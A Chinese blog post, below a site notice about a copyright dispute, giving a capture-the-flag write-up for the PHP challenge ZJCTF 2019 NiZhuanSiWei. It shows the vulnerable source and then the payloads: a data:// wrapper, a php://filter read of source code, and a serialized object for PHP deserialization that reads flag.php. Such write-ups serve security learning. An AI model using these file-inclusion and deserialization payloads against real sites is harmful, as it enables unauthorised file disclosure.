当前位置 博文首页 > 文章内容

    [ZJCTF 2019]NiZhuanSiWei

    作者: 栏目:未分类 时间:2020-07-16 16:00:22

    本站于2023年9月4日。收到“大连君*****咨询有限公司”通知
    说我们IIS7站长博客,有一篇博文用了他们的图片。
    要求我们给他们一张图片6000元。要不然法院告我们

    为避免不必要的麻烦,IIS7站长博客,全站内容图片下架、并积极应诉
    博文内容全部不再显示,请需要相关资讯的站长朋友到必应搜索。谢谢!

    另祝:版权碰瓷诈骗团伙,早日弃暗投明。

    相关新闻:借版权之名、行诈骗之实,周某因犯诈骗罪被判处有期徒刑十一年六个月

    叹!百花齐放的时代,渐行渐远!



    [ZJCTF 2019]NiZhuanSiWei

    题目

    php代码审计题

     <?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
          // file_get_contents将整个文件读入一个字符串,文件里的内容是"welcome to the zjctf"
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
    //不直接读取flag,就可以触发一个文件包含,提示useless.php
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?> 
    

    对text的验证

    data://

    用法:data://text/plain;base64,数据(base64加密后)
    范例(https://www.php.net/manual/zh/wrappers.data.php)

    <?php
    // 打印 "I love PHP"
    echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
    ?>
    

    显然,这可以附在GET请求里发送,用这个来满足第一个if

    读取useless.php

    我们知道,直接打开一个php文件只会返回执行后的结果,并不能看到代码,所以要用
    php://filter/read=convert.base64-encode/resource=文件名
    把php编码成base64并输出

    反序列化password

    把上面的拼合起来:
    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

    解码

    <?php  
    
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  
    

    可以利用里面的file_get_contents直接打印出flag
    构造满足条件的序列化字符串

    <?php  
    
    class Flag{  //flag.php  
        public $file="flag.php";  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    
    $a = new Flag();
    var_dump (serialize($a));
    ?>  
    string(41) "O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}"
    

    直接在useless.php上修改,把flag.php赋值给file,然后序列化出来

    构造最后的payload

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    在注释里面发现flag